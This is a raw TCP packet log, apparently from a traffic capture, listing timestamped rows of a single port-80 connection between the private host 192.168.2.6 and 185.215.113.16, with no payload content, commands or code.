Oct 31, 2024 01:18:30.623433113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623436928 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623444080 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623454094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623460054 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623486996 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623521090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623617887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623630047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623641968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623652935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623658895 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623662949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623670101 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623676062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623682022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623698950 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623724937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623728037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623752117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623763084 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623764992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623783112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623795033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623806953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623817921 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623819113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623831034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623847961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623858929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623862982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623871088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623898029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623908043 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623908997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623922110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623931885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623945951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623971939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623980045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.623989105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.623995066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624007940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624020100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624033928 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624037027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624061108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624061108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624072075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624083996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624094009 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624099970 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624115944 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624150038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624162912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624187946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624198914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624228954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624434948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624447107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624458075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624483109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624517918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624530077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624546051 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624797106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624808073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624818087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624839067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624850035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.624907970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624985933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.624996901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625009060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625020981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625036001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625061035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625087976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625099897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625118017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625124931 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625129938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625143051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625154018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625155926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625190973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625349045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625390053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625394106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625471115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625497103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625509024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625535965 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625550985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625560999 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625571966 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625585079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625596046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625601053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625628948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625674963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625686884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625698090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625715017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625724077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625734091 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625749111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625758886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625770092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625780106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625791073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625802994 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625822067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625825882 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625835896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625853062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625864983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625869989 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625891924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625895023 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625905037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625916958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625930071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.625931025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.625950098 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626082897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626095057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626106024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626116991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626123905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626127958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626140118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626142025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626159906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626167059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626199961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626228094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626239061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626272917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626283884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626302004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626322985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626333952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626359940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626375914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626384974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626426935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626439095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626451969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626465082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.626468897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.626492023 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.660999060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661022902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661034107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661072969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661083937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661094904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661099911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661143064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661297083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661309004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661319971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661330938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661338091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661344051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661355019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661365986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661369085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661385059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661392927 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661396027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661406040 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661408901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661422014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661434889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661448002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661459923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661459923 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661470890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661497116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661498070 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661508083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661520004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661530018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661536932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661559105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661676884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661689043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661699057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.661710024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.661729097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.697807074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.697820902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.697830915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.697896957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.701333046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.701380968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.701402903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738224030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738238096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738249063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738261938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738274097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738287926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738322020 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738326073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738337994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738349915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738362074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738383055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738406897 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738451004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738462925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738472939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738485098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738493919 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738497019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738509893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738522053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738526106 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738533974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738557100 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738583088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738584042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738595963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738610029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738621950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738632917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738643885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738646030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738656998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738671064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738678932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738699913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738711119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738713980 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738735914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738743067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738749027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738769054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738785028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738806963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738815069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738826990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738831997 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738838911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738851070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738858938 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738862038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738873959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738884926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738887072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738898039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738913059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738913059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738938093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738943100 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738950968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738960981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738972902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738980055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.738985062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738996029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.738996029 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739007950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739017010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739022970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739046097 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739053011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739065886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739079952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739088058 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739115953 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739118099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739130974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739142895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739161968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739166021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739177942 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739192963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739204884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739206076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739223957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739228964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739236116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739249945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739260912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739274979 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739300966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739382982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739408970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739415884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739420891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739432096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739444017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739454985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739463091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739470005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739491940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739501953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739510059 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739515066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739526033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739538908 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739547014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739548922 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739572048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739582062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739594936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739604950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739624977 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739634991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739646912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739650011 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739681959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739686966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739696980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739707947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739732027 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739768982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739780903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739789963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739803076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739804983 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739823103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739821911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739835978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.739865065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.739934921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740087032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740097046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740108013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740120888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740123987 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.740133047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740144014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740149021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:30.740156889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:30.740169048 CET	80	49797	185.215.113.16	192.168.2.6
